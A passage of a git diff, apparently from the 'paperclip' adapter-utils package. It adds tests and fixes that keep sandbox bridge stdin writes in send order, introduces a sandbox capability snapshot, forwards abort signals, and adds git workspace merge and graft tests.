+    await waitFor(() => collectDelivered(poller.frames).includes("second-payload"));
+    expect(collectDelivered(poller.frames)).toBe("first-payloadsecond-payload");
+
+    await poller.writeFileAtomic("000000000003.json", stdinEndMessage);
+    await poller.exited;
+    expect(poller.frames.some((frame) => frame.type === "exit")).toBe(true);
+  });
+
+  it("fails loud and advances past a missing stdin file after the retry limit", async () => {
+    const poller = await startPollerWrapper({ maxRetries: 3 });
+
+    // File 1 never appears. File 2 is complete. After the retry limit the poller
+    // writes a loud error event and advances past the gap, then delivers file 2.
+    // So a permanent reordering fails loud, never silently.
+    await poller.writeFileAtomic("000000000002.json", stdinMessage("after-gap"));
+
+    await waitFor(() =>
+      poller.frames.some(
+        (frame) =>
+          frame.type === "error" &&
+          typeof frame.message === "string" &&
+          frame.message.includes("Advanced past missing stdin files"),
+      ),
+    );
+    await waitFor(() => collectDelivered(poller.frames).includes("after-gap"));
+
+    await poller.writeFileAtomic("000000000003.json", stdinEndMessage);
+    await poller.exited;
+    expect(collectDelivered(poller.frames)).toBe("after-gap");
+    expect(poller.frames.some((frame) => frame.type === "exit")).toBe(true);
+  });
+
+  // ---- Host serialization test (drives the real bridge) -----------------
+
+  // A runner that runs each bridge shell script as a real child process, so the
+  // test drives the whole legacy-poll bridge: the socket handler, the command-
+  // managed `writeTextFile` script, the nohup wrapper, and the output poll.
+  function createLocalSandboxRunner(
+    onExecute?: (script: string) => Promise<void>,
+  ) {
+    let counter = 0;
+    return {
+      execute: async (input: {
+        command: string;
+        args?: string[];
+        cwd?: string;
+        env?: Record<string, string>;
+        stdin?: string;
+        timeoutMs?: number;
+        onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
+      }): Promise<RunProcessResult> => {
+        counter += 1;
+        const script = input.args?.[1] ?? "";
+        if (onExecute) await onExecute(script);
+        const command =
+          input.command === "bash" ? "/bin/bash" : input.command === "sh" ? "/bin/sh" : input.command;
+        return runChildProcess(`stdin-order-run-${counter}`, command, input.args ?? [], {
+          cwd: input.cwd ?? process.cwd(),
+          env: input.env ?? {},
+          stdin: input.stdin,
+          timeoutSec: Math.max(1, Math.ceil((input.timeoutMs ?? 30_000) / 1000)),
+          graceSec: 5,
+          onLog: input.onLog ?? (async () => {}),
+        });
+      },
+    };
+  }
+
+  it("serializes host stdin writes so a slow earlier write still lands first", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-stdin-host-order-"));
+    cleanupDirs.push(rootDir);
+    // The child echoes every stdin byte to stdout, so the wrapper reports the
+    // exact bytes and order the child received on its stdin.
+    const childPath = path.join(rootDir, "echo-child.mjs");
+    await writeFile(childPath, "process.stdin.on('data', (c) => process.stdout.write(c));\n", "utf8");
+
+    // Record the send-order-relevant event: the completion of each stdin file's
+    // finalize (atomic rename). Delay the finalize of the FIRST file, so its
+    // write resolves slower than the second. Without serialization the second
+    // rename would land first; the per-session chain must keep the send order.
+    const finalizeOrder: string[] = [];
+    const runner = createLocalSandboxRunner(async (script) => {
+      const finalizeMatch = /base64 -d[\s\S]*mv '[^']*\.decoded' '([^']+\.json)'/.exec(script);
+      if (finalizeMatch) {
+        const remotePath = finalizeMatch[1];
+        if (remotePath.endsWith("000000000001.json")) await delay(300);
+        finalizeOrder.push(path.posix.basename(remotePath));
+      }
+    });
+    const target: AdapterSandboxExecutionTarget = {
+      kind: "remote",
+      transport: "sandbox",
+      providerKey: "local-test",
+      remoteCwd: rootDir,
+      timeoutMs: 30_000,
+      runner,
+    };
+
+    const bridge = await startAdapterExecutionTargetProcessSessionBridge({
+      runId: "run-stdin-host-order",
+      target,
+      runtimeRootDir: path.posix.join(rootDir, ".paperclip-runtime", "acpx"),
+      adapterKey: "acpx",
+      command: process.execPath,
+      args: [childPath],
+      cwd: rootDir,
+      env: {},
+      timeoutSec: 5,
+      onLog: async () => {},
+    });
+    expect(bridge).not.toBeNull();
+
+    let peer: net.Socket | null = null;
+    try {
+      const proxySource = await readFile(bridge!.agentCommand, "utf8");
+      const port = Number(/port: (\d+)/.exec(proxySource)?.[1] ?? Number.NaN);
+      const tokenLiteral = /const token = (".*?");/.exec(proxySource)?.[1];
+      expect(Number.isFinite(port)).toBe(true);
+      const token = JSON.parse(tokenLiteral as string) as string;
+
+      const peerSocket = net.createConnection({ host: "127.0.0.1", port });
+      peer = peerSocket;
+      peerSocket.setEncoding("utf8");
+      peerSocket.on("error", () => undefined);
+      const delivered: string[] = [];
+      let peerBuffer = "";
+      peerSocket.on("data", (chunk: string) => {
+        peerBuffer += chunk;
+        const lines = peerBuffer.split("\n");
+        peerBuffer = lines.pop() || "";
+        for (const line of lines) {
+          if (!line.trim()) continue;
+          const frame = JSON.parse(line) as { type?: string; stream?: string; data?: string };
+          if (frame.type === "data" && frame.stream === "stdout" && typeof frame.data === "string") {
+            delivered.push(Buffer.from(frame.data, "base64").toString("utf8"));
+          }
+        }
+      });
+      await new Promise<void>((resolve, reject) => {
+        peerSocket.once("connect", () => resolve());
+        peerSocket.once("error", reject);
+      });
+
+      // Send two stdin messages back to back. The first authenticates and writes
+      // file 1; the second writes file 2. Both are scheduled before file 1's
+      // delayed finalize resolves, so an un-chained handler would race them.
+      const head = `${JSON.stringify({ token, type: "stdin", data: Buffer.from("HEAD_ONE_", "utf8").toString("base64") })}\n`;
+      const tail = `${JSON.stringify({ token, type: "stdin", data: Buffer.from("TAIL_TWO", "utf8").toString("base64") })}\n`;
+      peerSocket.write(head);
+      peerSocket.write(tail);
+
+      // The two finalize renames complete in send order, not in the order the
+      // delayed and fast writes would otherwise finish.
+      await waitFor(() => finalizeOrder.length >= 2, 8_000);
+      expect(finalizeOrder.slice(0, 2)).toEqual(["000000000001.json", "000000000002.json"]);
+
+      // End to end: the child receives the two payloads intact and in send
+      // order, so the prompt is byte-identical on the child stdin.
+      await waitFor(() => delivered.join("").includes("TAIL_TWO"), 8_000);
+      expect(delivered.join("")).toBe("HEAD_ONE_TAIL_TWO");
+    } finally {
+      peer?.destroy();
+      await bridge?.stop();
+    }
+  });
+
+  it("holds stdinEnd on stop until an earlier pending stdin write lands first", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-stdin-stop-order-"));
+    cleanupDirs.push(rootDir);
+    const childPath = path.join(rootDir, "echo-child.mjs");
+    await writeFile(childPath, "process.stdin.on('data', (c) => process.stdout.write(c));\n", "utf8");
+
+    // Record each stdin file finalize (atomic rename). `finalizeStarted` marks
+    // the start; `finalizeOrder` marks the completion. Delay the FIRST chunk's
+    // finalize, so its write is still pending when `stop()` runs. `stop()` must
+    // chain the `stdinEnd` write after the pending chunk, so file 2 (stdinEnd)
+    // never finishes its rename before file 1.
+    const finalizeStarted: string[] = [];
+    const finalizeOrder: string[] = [];
+    const runner = createLocalSandboxRunner(async (script) => {
+      const finalizeMatch = /base64 -d[\s\S]*mv '[^']*\.decoded' '([^']+\.json)'/.exec(script);
+      if (finalizeMatch) {
+        const name = path.posix.basename(finalizeMatch[1]);
+        finalizeStarted.push(name);
+        if (name === "000000000001.json") await delay(300);
+        finalizeOrder.push(name);
+      }
+    });
+    const target: AdapterSandboxExecutionTarget = {
+      kind: "remote",
+      transport: "sandbox",
+      providerKey: "local-test",
+      remoteCwd: rootDir,
+      timeoutMs: 30_000,
+      runner,
+    };
+
+    const bridge = await startAdapterExecutionTargetProcessSessionBridge({
+      runId: "run-stdin-stop-order",
+      target,
+      runtimeRootDir: path.posix.join(rootDir, ".paperclip-runtime", "acpx"),
+      adapterKey: "acpx",
+      command: process.execPath,
+      args: [childPath],
+      cwd: rootDir,
+      env: {},
+      timeoutSec: 5,
+      onLog: async () => {},
+    });
+    expect(bridge).not.toBeNull();
+
+    let peer: net.Socket | null = null;
+    let stopped = false;
+    try {
+      const proxySource = await readFile(bridge!.agentCommand, "utf8");
+      const port = Number(/port: (\d+)/.exec(proxySource)?.[1] ?? Number.NaN);
+      const tokenLiteral = /const token = (".*?");/.exec(proxySource)?.[1];
+      expect(Number.isFinite(port)).toBe(true);
+      const token = JSON.parse(tokenLiteral as string) as string;
+
+      const peerSocket = net.createConnection({ host: "127.0.0.1", port });
+      peer = peerSocket;
+      peerSocket.setEncoding("utf8");
+      peerSocket.on("error", () => undefined);
+      peerSocket.on("data", () => undefined);
+      await new Promise<void>((resolve, reject) => {
+        peerSocket.once("connect", () => resolve());
+        peerSocket.once("error", reject);
+      });
+
+      // Send one stdin message. It authenticates and writes file 1, whose
+      // finalize the runner delays. Wait until that finalize has started, so the
+      // write is in flight when `stop()` runs.
+      const head = `${JSON.stringify({ token, type: "stdin", data: Buffer.from("HEAD_ONE_", "utf8").toString("base64") })}\n`;
+      peerSocket.write(head);
+      await waitFor(() => finalizeStarted.includes("000000000001.json"), 8_000);
+
+      // Stop the bridge while file 1's write is still pending. `stop()` awaits
+      // the chained `stdinEnd` write, so both finalizes are complete when it
+      // returns, in send order.
+      await bridge!.stop();
+      stopped = true;
+      expect(finalizeOrder).toEqual(["000000000001.json", "000000000002.json"]);
+    } finally {
+      peer?.destroy();
+      if (!stopped) await bridge?.stop();
+    }
+  });
+
   // ---- Host atomic-write tests ------------------------------------------
 
   // A runner that executes each bridge shell script on the local filesystem,
diff --git a/packages/adapter-utils/src/execution-target.ts b/packages/adapter-utils/src/execution-target.ts
index 4c21a33acce..aa3c1e40640 100644
--- a/packages/adapter-utils/src/execution-target.ts
+++ b/packages/adapter-utils/src/execution-target.ts
@@ -56,6 +56,18 @@ import type { LocalProcessSandboxOptions } from "./local-process-sandbox.js";
 
 export type { RuntimeProgressSink } from "./runtime-progress.js";
 
+export function postedIssueCommentLogMarker(method: string, requestPath: string, status: number, body: string) {
+  if (method !== "POST" || !/^\/api\/issues\/[^/]+\/comments$/.test(requestPath) || status < 200 || status >= 300) {
+    return null;
+  }
+  try {
+    const parsed = JSON.parse(body) as { id?: unknown };
+    return typeof parsed.id === "string" && parsed.id.length > 0 ? `comment id: ${parsed.id}\n` : null;
+  } catch {
+    return null;
+  }
+}
+
 export type AdapterWorkspaceRealizationMode = "copy" | "in_place";
 
 export interface AdapterWorkspacePathAlias {
@@ -89,10 +101,34 @@ export interface AdapterSshExecutionTarget extends AdapterExecutionTargetWorkspa
   spec: SshRemoteExecutionSpec;
 }
 
+/**
+ * Read-only snapshot of the effective sandbox capabilities for one execution
+ * target. Each flag is the resolved result of the provider's declaration, the
+ * live worker's verified methods, and any narrowing from the config or lease.
+ * The host computes it once and attaches it to the target; a consumer reads it
+ * but never changes it, so every field is `readonly`.
+ */
+export interface EffectiveSandboxCapabilities {
+  readonly reusableLeases: boolean;
+  readonly nativeSyncIn: boolean;
+  readonly nativeSyncOut: boolean;
+  readonly persistentProcessSessions: boolean;
+  readonly independentControlCommands: boolean;
+  readonly incrementalSessionOutput: boolean;
+  readonly concurrentSyncOperations: boolean;
+  readonly duplexCommandStream: boolean;
+}
+
 export interface AdapterSandboxExecutionTarget extends AdapterExecutionTargetWorkspaceMetadata {
   kind: "remote";
   transport: "sandbox";
   providerKey?: string | null;
+  /**
+   * Read-only effective capability snapshot for this sandbox target. The host
+   * resolves it from the provider declaration ∩ the verified worker methods ∩
+   * narrowing, then attaches it here. Absent when no snapshot was resolved.
+   */
+  readonly effectiveCapabilities?: EffectiveSandboxCapabilities | null;
   shellCommand?: "bash" | "sh" | null;
   environmentId?: string | null;
   leaseId?: string | null;
@@ -106,13 +142,6 @@ export interface AdapterSandboxExecutionTarget extends AdapterExecutionTargetWor
    * set to `false` to explicitly opt out back to batch-at-end delivery.
    */
   streamRunLogs?: boolean | null;
-  /**
-   * Stream the interactive ACP agent output through the persistent session log
-   * stream instead of the host-side output-file poll. The process session
-   * bridge runs the agent as one long-lived session command and reads its
-   * output frames from the stream. Default OFF: the bridge keeps the poll path.
-   */
-  streamAgentSessionOutput?: boolean | null;
 }
 
 export type AdapterExecutionTarget =
@@ -213,6 +242,25 @@ function readString(value: unknown): string | null {
   return typeof value === "string" && value.trim().length > 0 ? value.trim() : null;
 }
 
+// Read a serialized effective-capability snapshot back into a full record. A
+// missing or non-boolean field reads as `false`, so a round-tripped target
+// never grants a capability that the snapshot did not carry. Returns null when
+// there is no object to read.
+function parseEffectiveSandboxCapabilities(value: unknown): EffectiveSandboxCapabilities | null {
+  const parsed = parseObject(value);
+  if (Object.keys(parsed).length === 0) return null;
+  return {
+    reusableLeases: parsed.reusableLeases === true,
+    nativeSyncIn: parsed.nativeSyncIn === true,
+    nativeSyncOut: parsed.nativeSyncOut === true,
+    persistentProcessSessions: parsed.persistentProcessSessions === true,
+    independentControlCommands: parsed.independentControlCommands === true,
+    incrementalSessionOutput: parsed.incrementalSessionOutput === true,
+    concurrentSyncOperations: parsed.concurrentSyncOperations === true,
+    duplexCommandStream: parsed.duplexCommandStream === true,
+  };
+}
+
 function readStringMeta(parsed: Record<string, unknown>, key: string): string | null {
   return readString(parsed[key]);
 }
@@ -596,7 +644,7 @@ export async function runAdapterExecutionTargetProcess(
     const env = sanitizeRemoteExecutionEnv(options.env);
     await options.onRuntimeProgress?.({
       phase: "adapter_startup",
-      message: "Starting adapter in sandbox",
+      message: "Starting adapter in environment",
     });
     const runLogTail = options.runLogTail?.create() ?? null;
     let execCommand = command;
@@ -1085,6 +1133,7 @@ export function parseAdapterExecutionTarget(value: unknown): AdapterExecutionTar
   if (kind === "remote" && readStringMeta(parsed, "transport") === "sandbox") {
     const remoteCwd = readStringMeta(parsed, "remoteCwd");
     if (!remoteCwd) return null;
+    const effectiveCapabilities = parseEffectiveSandboxCapabilities(parsed.effectiveCapabilities);
     return {
       kind: "remote",
       transport: "sandbox",
@@ -1094,6 +1143,7 @@ export function parseAdapterExecutionTarget(value: unknown): AdapterExecutionTar
       remoteCwd,
       timeoutMs: typeof parsed.timeoutMs === "number" ? parsed.timeoutMs : null,
       streamRunLogs: typeof parsed.streamRunLogs === "boolean" ? parsed.streamRunLogs : null,
+      ...(effectiveCapabilities ? { effectiveCapabilities } : {}),
     };
   }
 
@@ -1246,7 +1296,12 @@ export function runtimeAssetDir(
 
 function buildBridgeResponseHeaders(response: Response): Record<string, string> {
   const out: Record<string, string> = {};
-  for (const key of ["content-type", "etag", "last-modified"]) {
+  // Keep `x-paperclip-bridge-outcome` in this list. The host marks a
+  // possibly-committed mutation with the `indeterminate` outcome. The in-sandbox
+  // server reads that header to map the 504 to a terminal 409. If the forward
+  // drops the header, the server keeps the retryable 504 and a caller that
+  // retries 5xx can repeat a mutation that already committed.
+  for (const key of ["content-type", "etag", "last-modified", "x-paperclip-bridge-outcome"]) {
     const value = response.headers.get(key);
     if (value && value.trim().length > 0) out[key] = value.trim();
   }
@@ -1527,6 +1582,14 @@ export async function startAdapterExecutionTargetProcessSessionBridge(input: {
     signalStopped = resolve;
   });
   let stdinSeq = 0;
+  // One promise chain per session that serializes the stdin file writes. Each
+  // write is multi-exec on the command-managed client: prepare, append per 32
+  // KiB, then an atomic rename. The chain makes the rename for file N finish
+  // before the write for file N+1 starts, so the files land in send order.
+  // Without it the writes overlap. A small later chunk can then rename ahead of
+  // a big earlier chunk, so the wrapper reads the stdin bytes out of order and
+  // corrupts a large prompt on the stdin path.
+  let stdinWriteChain: Promise<void> = Promise.resolve();
   let pollTimer: NodeJS.Timeout | null = null;
   const pendingRemoteEvents: Array<{
     type?: string;
@@ -1637,9 +1700,21 @@ export async function startAdapterExecutionTargetProcessSessionBridge(input: {
         if (stdinPayload) {
           stdinSeq += 1;
           const name = `${String(stdinSeq).padStart(12, "0")}.json`;
-          void runRuntimeWork(AGENT_SESSION_SEND_INPUT_SPAN, () =>
-            client.writeTextFile(path.posix.join(stdinDir, name), jsonLine(stdinPayload)),
-          ).catch((error) => {
+          const filePath = path.posix.join(stdinDir, name);
+          // Chain this write after the previous one, so the atomic rename for
+          // file N finishes before the write for file N+1 starts. Keep the
+          // per-message `sandbox.agentSession.sendInput` span inside the chain.
+          const write = stdinWriteChain.then(() =>
+            runRuntimeWork(AGENT_SESSION_SEND_INPUT_SPAN, () =>
+              client.writeTextFile(filePath, jsonLine(stdinPayload)),
+            ),
+          );
+          // The next message chains after this write on success or failure, so a
+          // failed write never blocks the chain. This mirrors the wrapper
+          // `writeChain` pattern for its event files.
+          stdinWriteChain = write.then(() => undefined, () => undefined);
+          // Keep the failure behavior: send one error line, then destroy the socket.
+          write.catch((error) => {
             nextSocket.write(jsonLine({ type: "error", message: error instanceof Error ? error.message : String(error) }));
             nextSocket.destroy();
           });
@@ -1825,10 +1900,21 @@ export async function startAdapterExecutionTargetProcessSessionBridge(input: {
       if (pollTimer) clearTimeout(pollTimer);
       for (const liveSocket of liveSockets) liveSocket.destroy();
       await new Promise<void>((resolve) => server.close(() => resolve())).catch(() => undefined);
-      await client.writeTextFile(
-        path.posix.join(stdinDir, `${String(stdinSeq + 1).padStart(12, "0")}.json`),
-        jsonLine({ type: "stdinEnd" }),
-      ).catch(() => undefined);
+      // Wait for every accepted stdin write before `stdinEnd`. The socket handler
+      // fires each chunk write un-awaited through `stdinWriteChain`, so an earlier
+      // chunk can still be pending here. Chain the `stdinEnd` write onto the same
+      // per-session chain, so its file rename never finishes before an earlier
+      // chunk. `stdinSeq` is stable now, because the sockets are destroyed and the
+      // server is closed, so no new message can increment it.
+      const stdinEndPath = path.posix.join(
+        stdinDir,
+        `${String(stdinSeq + 1).padStart(12, "0")}.json`,
+      );
+      const stdinEndWrite = stdinWriteChain.then(() =>
+        client.writeTextFile(stdinEndPath, jsonLine({ type: "stdinEnd" })),
+      );
+      stdinWriteChain = stdinEndWrite.then(() => undefined, () => undefined);
+      await stdinEndWrite.catch(() => undefined);
       await client.remove(sessionDir).catch(() => undefined);
       await fs.rm(proxyDir, { recursive: true, force: true }).catch(() => undefined);
     },
@@ -1908,12 +1994,40 @@ const stdinMaxParseRetries = (() => {
   return Number.isFinite(raw) && raw > 0 ? raw : 100;
 })();
 const stdinParseRetries = new Map();
+// Track the next expected sequence number. The host writes the stdin files in
+// send order and pads the number to 12 digits, starting at 1. The files sort in
+// send order. When the smallest present number is greater than expected, an
+// earlier file has not appeared yet: a missing file, not an unreadable one. Hold
+// the send order and wait for it, bounded by the same retry budget as the
+// unreadable-file path. This turns a reordering into a loud error, never silent
+// corruption.
+let stdinExpectedSeq = 1;
+let stdinGapRetries = 0;
 
 async function pollStdin() {
   while (!stdinClosed) {
     const entries = (await fs.readdir(stdinDir).catch(() => [])).filter((name) => name.endsWith(".json")).sort();
     for (const name of entries) {
       if (stdinClosed) break;
+      const entrySeq = Number.parseInt(name, 10);
+      // Hold the send order when an earlier file has not appeared. Do not consume
+      // this later file: wait for the missing file on a later cycle, bounded by
+      // the retry budget. After the budget, fail loud and advance past the gap,
+      // so the present file can run.
+      if (Number.isFinite(entrySeq) && entrySeq > stdinExpectedSeq) {
+        stdinGapRetries += 1;
+        if (stdinGapRetries < stdinMaxParseRetries) {
+          break;
+        }
+        await writeEvent({
+          type: "error",
+          message:
+            "Advanced past missing stdin files " + stdinExpectedSeq + " to " + (entrySeq - 1) +
+            " after " + stdinMaxParseRetries + " retries.",
+        });
+        stdinGapRetries = 0;
+        stdinExpectedSeq = entrySeq;
+      }
       const file = path.posix.join(stdinDir, name);
       let message;
       try {
@@ -1936,6 +2050,10 @@ async function pollStdin() {
               "Dropped unreadable stdin file after " + stdinMaxParseRetries + " retries: " + name + ": " +
               (error instanceof Error ? error.message : String(error)),
           });
+          // The file is resolved (dropped). Advance the expected number and reset
+          // the gap budget, then let the loop go on to the next entry.
+          if (Number.isFinite(entrySeq)) stdinExpectedSeq = entrySeq + 1;
+          stdinGapRetries = 0;
           continue;
         }
         // The file is not readable yet and is not past the retry limit. Keep it
@@ -1949,6 +2067,10 @@ async function pollStdin() {
       // then act on the message. A later cycle never re-reads a handled file.
       stdinParseRetries.delete(name);
       await fs.rm(file, { force: true }).catch(() => undefined);
+      // The file is handled. Advance the expected number and reset the gap
+      // budget, so the next expected file starts fresh.
+      if (Number.isFinite(entrySeq)) stdinExpectedSeq = entrySeq + 1;
+      stdinGapRetries = 0;
       if (message.type === "stdin" && typeof message.data === "string") {
         if (!stdinClosed) child.stdin.write(Buffer.from(message.data, "base64"));
       } else if (message.type === "stdinEnd") {
@@ -2162,7 +2284,7 @@ export async function startAdapterExecutionTargetPaperclipBridge(input: {
       maxBodyBytes,
       getRuntimeParentContext: input.getRuntimeParentContext,
       runtimeSpan: input.runtimeSpan,
-      handleRequest: async (request) => {
+      handleRequest: async (request, options) => {
         const method = request.method.trim().toUpperCase() || "GET";
         if (bridgeDebugEnabled) {
           await onLog(
@@ -2177,11 +2299,19 @@ export async function startAdapterExecutionTargetPaperclipBridge(input: {
         }
         headers.set("authorization", `Bearer ${hostApiToken}`);
         headers.set("x-paperclip-run-id", input.runId);
+        // Abort the forward when the worker aborts the request (its per-iteration
+        // timeout or watchdog fired), or after the 30s ceiling, whichever comes
+        // first. The worker abort lets the bridge fail a hung forward fast
+        // instead of stranding the request until the 30s ceiling.
+        const timeoutSignal = AbortSignal.timeout(30_000);
+        const forwardSignal = options?.signal
+          ? AbortSignal.any([options.signal, timeoutSignal])
+          : timeoutSignal;
         const response = await fetch(buildBridgeForwardUrl(hostApiUrl, request), {
           method,
           headers,
           ...(method === "GET" || method === "HEAD" ? {} : { body: request.body }),
-          signal: AbortSignal.timeout(30_000),
+          signal: forwardSignal,
         });
         if (bridgeDebugEnabled) {
           await onLog(
@@ -2189,10 +2319,13 @@ export async function startAdapterExecutionTargetPaperclipBridge(input: {
             `[paperclip] Bridge proxy response ${response.status} for ${method} ${request.path}${request.query ? `?${request.query}` : ""}\n`,
           );
         }
+        const responseBody = await readBridgeForwardResponseBody(response, maxBodyBytes);
+        const commentMarker = postedIssueCommentLogMarker(method, request.path, response.status, responseBody);
+        if (commentMarker) await onLog("stdout", commentMarker);
         return {
           status: response.status,
           headers: buildBridgeResponseHeaders(response),
-          body: await readBridgeForwardResponseBody(response, maxBodyBytes),
+          body: responseBody,
         };
       },
     });
diff --git a/packages/adapter-utils/src/git-workspace-sync.test.ts b/packages/adapter-utils/src/git-workspace-sync.test.ts
index 3f5b70ca8c6..e7f1a6b9a50 100644
--- a/packages/adapter-utils/src/git-workspace-sync.test.ts
+++ b/packages/adapter-utils/src/git-workspace-sync.test.ts
@@ -11,10 +11,12 @@ import {
   createRemoteGitExportRef,
   deleteLocalGitRef,
   fetchGitBundleIntoLocalRef,
+  integrateImportedGitHead,
   isMissingGitPrerequisiteError,
   readGitWorkspaceSnapshot,
   runLocalGit,
   sanitizeGitRemoteUrl,
+  setExpensiveWorkspaceGitExecutor,
   withShallowGitWorkspaceClone,
 } from "./git-workspace-sync.js";
 
@@ -28,6 +30,7 @@ describe("git workspace sync", () => {
   const cleanupDirs: string[] = [];
 
   afterEach(async () => {
+    setExpensiveWorkspaceGitExecutor(null);
     while (cleanupDirs.length > 0) {
       const dir = cleanupDirs.pop();
       if (!dir) continue;
@@ -35,6 +38,31 @@ describe("git workspace sync", () => {
     }
   });
 
+  it("delegates every host-side full-tree enumeration to the registered scheduler", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-git-scheduler-hook-"));
+    cleanupDirs.push(rootDir);
+    const repo = await createRepo(rootDir);
+    await writeFile(path.join(repo, "untracked.txt"), "untracked\n", "utf8");
+    const operations: string[] = [];
+    setExpensiveWorkspaceGitExecutor(async (input) => {
+      operations.push(input.operation);
+      return await runLocalGit(input.localDir, [...input.args], {
+        timeout: input.timeout,
+        maxBuffer: input.maxBuffer,
+      });
+    });
+
+    const snapshot = await readGitWorkspaceSnapshot(repo);
+
+    expect(snapshot?.overlayPaths).toContain("untracked.txt");
+    expect(operations.sort()).toEqual([
+      "adapter_sync.deleted_files",
+      "adapter_sync.ignored_files",
+      "adapter_sync.overlay_diff",
+      "adapter_sync.untracked_files",
+    ]);
+  });
+
   async function createRepo(rootDir: string): Promise<string> {
     const repo = path.join(rootDir, "repo");
     await mkdir(repo, { recursive: true });
@@ -395,6 +423,117 @@ describe("git workspace sync", () => {
       await deleteLocalGitRef({ localDir: host, ref: importedRef });
     }
   });
+
+  it("creates the concurrent-history merge commit with a deterministic identity", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-git-merge-identity-"));
+    cleanupDirs.push(rootDir);
+    // No repo-local user.name/user.email on purpose: execution hosts are
+    // containers without git config, where commit-tree cannot auto-detect an
+    // identity. Setup commits pass their identity inline so only the merge
+    // commit under test depends on the sync-supplied identity.
+    const setupIdentity = ["-c", "user.name=Setup", "-c", "user.email=setup@paperclip.dev"];
+    const repo = path.join(rootDir, "repo");
+    await mkdir(repo, { recursive: true });
+    await git(repo, ["init"]);
+    await git(repo, ["checkout", "-b", "main"]);
+    await writeFile(path.join(repo, "tracked.txt"), "base\n", "utf8");
+    await git(repo, ["add", "tracked.txt"]);
+    await git(repo, [...setupIdentity, "commit", "-m", "base"]);
+    const baseHead = await git(repo, ["rev-parse", "HEAD"]);
+
+    await writeFile(path.join(repo, "local.txt"), "local\n", "utf8");
+    await git(repo, ["add", "local.txt"]);
+    await git(repo, [...setupIdentity, "commit", "-m", "local advance"]);
+    const currentHead = await git(repo, ["rev-parse", "HEAD"]);
+
+    await git(repo, ["checkout", "-b", "imported", baseHead]);
+    await writeFile(path.join(repo, "imported.txt"), "imported\n", "utf8");
+    await git(repo, ["add", "imported.txt"]);
+    await git(repo, [...setupIdentity, "commit", "-m", "sandbox change"]);
+    const importedHead = await git(repo, ["rev-parse", "HEAD"]);
+    await git(repo, ["checkout", "main"]);
+
+    // Ambient identity env vars would override the `-c` flags and make the
+    // assertion machine-dependent, so clear them for the call under test.
+    const identityEnvKeys = ["GIT_AUTHOR_NAME", "GIT_AUTHOR_EMAIL", "GIT_COMMITTER_NAME", "GIT_COMMITTER_EMAIL", "EMAIL"];
+    const savedEnv = new Map(identityEnvKeys.map((key) => [key, process.env[key]]));
+    for (const key of identityEnvKeys) delete process.env[key];
+    try {
+      await integrateImportedGitHead({ localDir: repo, importedHead });
+    } finally {
+      for (const [key, value] of savedEnv) {
+        if (value === undefined) delete process.env[key];
+        else process.env[key] = value;
+      }
+    }
+
+    const parents = (await git(repo, ["rev-list", "--parents", "-1", "HEAD"])).split(" ");
+    expect(parents.slice(1)).toEqual([currentHead, importedHead]);
+    expect(await git(repo, ["log", "-1", "--format=%an|%ae|%cn|%ce"]))
+      .toBe("Paperclip|noreply@paperclip.ing|Paperclip|noreply@paperclip.ing");
+    expect(await git(repo, ["log", "-1", "--format=%s"]))
+      .toBe(`Paperclip remote git sync merge ${importedHead.slice(0, 12)}`);
+    const mergedTree = await git(repo, ["ls-tree", "--name-only", "HEAD"]);
+    expect(mergedTree).toContain("local.txt");
+    expect(mergedTree).toContain("imported.txt");
+  });
+
+  it("grafts an imported head onto the current head when histories share no ancestor", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-git-graft-"));
+    cleanupDirs.push(rootDir);
+    const setupIdentity = ["-c", "user.name=Setup", "-c", "user.email=setup@paperclip.dev"];
+    const repo = path.join(rootDir, "repo");
+    await mkdir(repo, { recursive: true });
+    await git(repo, ["init"]);
+    await git(repo, ["checkout", "-b", "main"]);
+    await writeFile(path.join(repo, "tracked.txt"), "base\n", "utf8");
+    await git(repo, ["add", "tracked.txt"]);
+    await git(repo, [...setupIdentity, "commit", "-m", "base"]);
+    const baseHead = await git(repo, ["rev-parse", "HEAD"]);
+
+    await writeFile(path.join(repo, "local.txt"), "local\n", "utf8");
+    await git(repo, ["add", "local.txt"]);
+    await git(repo, [...setupIdentity, "commit", "-m", "local advance"]);
+    const currentHead = await git(repo, ["rev-parse", "HEAD"]);
+
+    // The shape a depth-1 shallow clone produces after `git commit --amend`:
+    // a parentless root commit that shares no ancestor with the host history.
+    const importedTree = await git(repo, ["rev-parse", `${baseHead}^{tree}`]);
+    const importedHead = await git(repo, [...setupIdentity, "commit-tree", importedTree, "-m", "sandbox rewrite"]);
+
+    await integrateImportedGitHead({ localDir: repo, importedHead });
+
+    const parents = (await git(repo, ["rev-list", "--parents", "-1", "HEAD"])).split(" ");
+    expect(parents.slice(1)).toEqual([currentHead]);
+    // The imported tree is taken wholesale: no base exists to merge against.
+    expect(await git(repo, ["rev-parse", "HEAD^{tree}"])).toBe(importedTree);
+    expect(await git(repo, ["log", "-1", "--format=%s"])).toBe("sandbox rewrite");
+    const body = await git(repo, ["log", "-1", "--format=%B"]);
+    expect(body).toContain(`Paperclip remote git sync graft ${importedHead.slice(0, 12)}`);
+    expect(body).toContain("shares no ancestor");
+  });
+
+  it("does not graft when merge-base fails for a reason other than missing ancestry", async () => {
+    const rootDir = await mkdtemp(path.join(os.tmpdir(), "paperclip-git-no-graft-"));
+    cleanupDirs.push(rootDir);
+    const setupIdentity = ["-c", "user.name=Setup", "-c", "user.email=setup@paperclip.dev"];
+    const repo = path.join(rootDir, "repo");
+    await mkdir(repo, { recursive: true });
+    await git(repo, ["init"]);
+    await git(repo, ["checkout", "-b", "main"]);
+    await writeFile(path.join(repo, "tracked.txt"), "base\n", "utf8");
+    await git(repo, ["add", "tracked.txt"]);
+    await git(repo, [...setupIdentity, "commit", "-m", "base"]);
+    const currentHead = await git(repo, ["rev-parse", "HEAD"]);
+
+    // A well-formed sha the repository does not hold: merge-base fails with an
+    // object error (exit 128), not the no-ancestor signal (exit 1). The graft
+    // must not fire, and the integration keeps its loud failure.
+    const missingHead = "0123456789abcdef0123456789abcdef01234567";
+    await expect(integrateImportedGitHead({ localDir: repo, importedHead: missingHead }))
+      .rejects.toThrow(/Failed to merge concurrent remote git histories/);
+    expect(await git(repo, ["rev-parse", "HEAD"])).toBe(currentHead);
+  });
 });
 
